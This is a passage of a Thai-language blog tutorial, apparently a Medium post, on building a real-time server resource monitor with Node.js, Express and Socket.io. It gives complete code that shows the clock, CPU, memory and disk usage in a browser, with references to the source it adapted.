socket.on(&#39;clock&#39;,function(data){<br>                $(&#39;#clock&#39;).html(data.currentDate);<br>            });</strong><br>&lt;/script&gt;</pre><blockquote>index.js</blockquote><pre>io.on(&#39;connection&#39;,function(client){<br>    console.log(&#39;Client connected..&#39;);<br>    client.on(&#39;join&#39;,function(data){<br>        console.log(data);<br>    });<br><strong>    setInterval(function() {<br>        var currentDate = new Date();<br>        io.sockets.emit(&#39;clock&#39;,{currentDate:currentDate});<br>    },1000);</strong><br>});</pre><p>โดย setInterval เป็นฟังก์ชันที่จะทำให้มีการทำงานทุกๆ 1000 milisecond หรือ 1 วินาทีนั้นเอง และให้สังเกตุว่าผมได้ทำการสร้าง event ใหม่ชื่อว่า clock แล้วจะทำการส่งข้อมูล Date(); ไปในตัวแปรชื่อว่า currentDate นั้นเอง ทีนี้ก็ลอง run node index.js เพื่อดูผลกัน ซึ่งปรากฎว่าเราก็จะได้ เวลามาแสดงผลแล้ว และเปลี่ยนแปลงไปทุกๆ 1 วินาทีนั้นเอง</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FueKushcvWew%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DueKushcvWew&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FueKushcvWew%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/5c6cfe8e37fa0959c14c44b87d5be779/href">https://medium.com/media/5c6cfe8e37fa0959c14c44b87d5be779/href</a></iframe><h3>2. Event CPU</h3><p>ในส่วนของ CPU ผมจะใช้ code การคำนวณจาก</p><h4>ref::</h4><p><a href="https://techarena51.com/blog/real-time-linux-server-monitoring-with-node-js-socket-io-and-d3-js-gauges/">Techarena51.com</a></p><p>โดยเพื่อง่ายต่อการอ่านและระเบียบของ code ก็จะทำการสร้าง ไฟล์ใหม่ ชื่อว่า cpu.js โดยมี code function การคำนวณ cpu usage ดังนี้</p><blockquote>cpu.js</blockquote><pre>var os = require(&quot;os&quot;);</pre><pre>module.exports = {<br>    cpuAverage : function cpuAverage() {<br>        var totalIdle = 0,totalTick = 0;<br>        var cpus = os.cpus();<br>        for (var i = 0,len = cpus.length ; i &lt; len; i++) {<br>            var cpu = cpus[i];<br>            for(type in cpu.times){<br>                totalTick += cpu.times[type];<br>            }<br>            totalIdle += cpu.times.idle;<br>        }<br>        return {idle: totalIdle/cpus.length , total:totalTick/cpus.length};<br>    }<br>}</pre><p>และในส่วนของ index.js เราก็ต้องเรียกใช้ cpu.js โดยเพิ่มไปในส่วนบนสุดของ code</p><blockquote>index.html</blockquote><pre>socket.on(&#39;cpu&#39;,function(data) {<br>                $(&#39;#cpu&#39;).html(data.percentageCPU+&quot; %&quot;);    <br>});</pre><blockquote>index.js</blockquote><pre>var cpu = require(&#39;./cpu.js&#39;);</pre><p>และเพิ่มส่วนของ event cpu ดังนี้</p><pre>var startMeasure = cpu.cpuAverage();<br>setTimeout(function() {<br>    var endMeasure = cpu.cpuAverage();<br>    var idleDifference = endMeasure.idle - startMeasure.idle;<br>    var totalDifference = endMeasure.total- startMeasure.total;<br>    var percentageCPU = 100 - ~~(100*idleDifference/totalDifference);<br>    io.sockets.emit(&#39;cpu&#39;,{percentageCPU:percentageCPU});<br>}, 100);</pre><p>และเราก็จะได้ % CPU usage มาแสดงผลที่ Web Browser</p><h3>3. Event Memory</h3><p>ในส่วนของ memory นั้นผมจะใช้คำสั่ง ใน os โดยต้องเพิ่มไว้ที่ส่วนบนสุดใน file index.js</p><pre>var os = require(&#39;os&#39;);</pre><p>และเพิ่ม code ส่วนของ event memory ดังนี้</p><blockquote>index.html</blockquote><pre>socket.on(&#39;memory&#39;,function(data){<br>                $(&#39;#memory&#39;).html(data.percentageMem+&quot; %&quot;);<br>});</pre><blockquote>index.js</blockquote><pre>var freemem = os.freemem();<br>var totalmem = os.totalmem();<br>console.log(freemem,totalmem);<br>var percentageMem = 100 - ~~(100*freemem/totalmem);<br>io.sockets.emit(&#39;memory&#39;,{percentageMem:percentageMem});</pre><p>และเราก็จะได้ % Memomy usage มาแสดงผลที่ Web Browser</p><h3>4. Event Disk</h3><p>ในส่วนของ disk นั้นผมจะ npm package ที่ชื่อว่า diskspace มาช่วย<br>โดยต้องทำการติดตั้งก่อนด้วย คำสั่ง</p><pre>$ npm install --save diskspace</pre><h4>ref::<a href="https://www.npmjs.com/package/diskspace">https://www.npmjs.com/package/diskspace</a></h4><p>และหลังจากติดตั้งเสร็จแล้วก็เป็นส่วนของการเรียกใช้งานเหมือนเดิมนั้นคือ เพิ่มส่วนเรียกใช้งาน ใน index.js , และการเรียกใช้ event ใน index.html</p><blockquote>index.html</blockquote><pre>socket.on(&#39;disk&#39;,function(data) {<br>    $(&#39;#disk&#39;).html(data.percentageDisk+&quot; %&quot;);    <br>});</pre><blockquote>index.js</blockquote><pre>var diskspace = require(&#39;diskspace&#39;);</pre><p>และเพิ่ม code ส่วนในการสร้าง event disk</p><pre>diskspace.check(&#39;/&#39;, function (err, result)<br>{<br>    var usedDisk = result.used;<br>    var totalDisk = result.total;<br>    var percentageDisk = 100 - ~~(100*usedDisk/totalDisk);<br>    io.sockets.emit(&#39;disk&#39;,{percentageDisk:percentageDisk});<br>});</pre><p>ก็เป็นอันเสร็จสิ้นการดึงข้อมูล CPU , Memory , Disk ของเครื่อง Server มาแสดงใน Browser โดยข้างล่างนี้ code index.js และ index.html ฉบับสมบูรณ์ และ video แสดงตัวอย่างงานที่เสร็จสิ้นในรูปแบบ text ซึ่งงานต่อไปก็คือเอามาแสดงในรูปแบบ graph</p><blockquote>index.html (Completed)</blockquote><pre>&lt;!doctype html&gt;<br>&lt;html&gt;<br>    &lt;head&gt;<br>        &lt;title&gt;Socket.IO&lt;/title&gt;<br>    &lt;/head&gt;<br>    &lt;body&gt;<br>        &lt;h1&gt;Hello World!&lt;/h1&gt;<br>        &lt;h3&gt;Clock&lt;/h3&gt;<br>        &lt;div id=&quot;clock&quot;&gt;&lt;/div&gt;<br>        &lt;h3&gt;CPU&lt;/h3&gt;<br>        &lt;div id=&quot;cpu&quot;&gt;&lt;/div&gt;<br>        &lt;h3&gt;Memory&lt;/h3&gt;<br>        &lt;div id=&quot;memory&quot;&gt;&lt;/div&gt;<br>        &lt;h3&gt;Disk&lt;/h3&gt;<br>        &lt;div id=&quot;disk&quot;&gt;&lt;/div&gt;</pre><pre>&lt;script src=&quot;/socket.io/socket.io.js&quot;&gt;&lt;/script&gt;<br>        &lt;script src=&quot;<a href="https://code.jquery.com/jquery-1.11.1.js">https://code.jquery.com/jquery-1.11.1.js</a>&quot;&gt;&lt;/script&gt;<br>        &lt;script&gt;<br>            var socket = io.connect(&#39;<a href="http://localhost:3000&#39;">http://localhost:3000&#39;</a>);<br>            socket.on(&#39;connect&#39;,function(data) {<br>                socket.emit(&#39;join&#39;,&#39;Hello world from client&#39;);<br>            });<br>            socket.on(&#39;clock&#39;,function(data){<br>                $(&#39;#clock&#39;).html(data.currentDate);<br>            });<br>            socket.on(&#39;memory&#39;,function(data){<br>                $(&#39;#memory&#39;).html(data.percentageMem+&quot; %&quot;);<br>            });<br>            socket.on(&#39;cpu&#39;,function(data) {<br>                $(&#39;#cpu&#39;).html(data.percentageCPU+&quot; %&quot;);    <br>            });<br>            socket.on(&#39;disk&#39;,function(data) {<br>                $(&#39;#disk&#39;).html(data.percentageDisk+&quot; %&quot;);    <br>            });<br>        &lt;/script&gt;</pre><pre>&lt;/body&gt;<br>&lt;/html&gt;</pre><blockquote>index.js (Completed)</blockquote><pre>var app = require(&#39;express&#39;)();<br>var http = require(&#39;http&#39;).Server(app);<br>var io = require(&#39;socket.io&#39;)(http);<br>var os = require(&#39;os&#39;);<br>var cpu = require(&#39;./cpu.js&#39;);<br>var diskspace = require(&#39;diskspace&#39;);</pre><pre>http.listen(3000, function(){<br>      console.log(&#39;listening on *:3000&#39;);<br>});</pre><pre>app.get(&#39;/&#39;, function(req, res){<br>      res.sendFile(__dirname+&#39;/index.html&#39;);<br>});</pre><pre>io.on(&#39;connection&#39;,function(client){<br>    console.log(&#39;Client connected..&#39;);<br>    client.on(&#39;join&#39;,function(data){<br>        console.log(data);<br>    });<br>    setInterval(function() {<br>        var currentDate = new Date();<br>        io.sockets.emit(&#39;clock&#39;,{currentDate:currentDate});</pre><pre>var freemem = os.freemem();<br>        var totalmem = os.totalmem();<br>        var percentageMem = 100 - ~~(100*freemem/totalmem);<br>        io.sockets.emit(&#39;memory&#39;,{percentageMem:percentageMem});</pre><pre>var startMeasure = cpu.cpuAverage();<br>        setTimeout(function() {<br>            var endMeasure = cpu.cpuAverage();<br>            var idleDifference = endMeasure.idle - startMeasure.idle;<br>            var totalDifference = endMeasure.total- startMeasure.total;<br>            var percentageCPU = 100 - ~~(100*idleDifference/totalDifference);<br>            io.sockets.emit(&#39;cpu&#39;,{percentageCPU:percentageCPU});<br>        }, 100);</pre><pre>diskspace.check(&#39;/&#39;, function (err, result)<br>        {<br>            var usedDisk = result.used;<br>            var totalDisk = result.total;<br>            var percentageDisk = 100 - ~~(100*usedDisk/totalDisk);<br>            io.sockets.emit(&#39;disk&#39;,{percentageDisk:percentageDisk});<br>        });</pre><pre>},1000);<br>});</pre><h3>Demo Video</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FxPlEvJo11vI%3Ffeature%3Doembed&amp;url=http%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DxPlEvJo11vI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FxPlEvJo11vI%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="640" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/58c0993f0fcb5803f0473728ffab0efc/href">https://medium.com/media/58c0993f0fcb5803f0473728ffab0efc/href</a></iframe><p>สุดท้ายนี้หวังว่า story นี้จะเป็นประโยชน์แก่ผู้ที่สนใจในการเขียน Socket.io ไม่มากก็น้อยครับ สามารถติชมหรือให้แก้ไขเรื่องที่ผมเข้าใจผิดตรงไหน รบกวนแจ้งมาได้เลยนะครับ ขอบคุณครับ</p><h4>reference</h4><ol><li><a href="https://techarena51.com/blog/real-time-linux-server-monitoring-with-node-js-socket-io-and-d3-js-gauges/">https://techarena51.com/blog/real-time-linux-server-monitoring-with-node-js-socket-io-and-d3-js-gauges/</a></li><li><a href="https://socket.io/">https://socket.io</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=47f93c33af2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>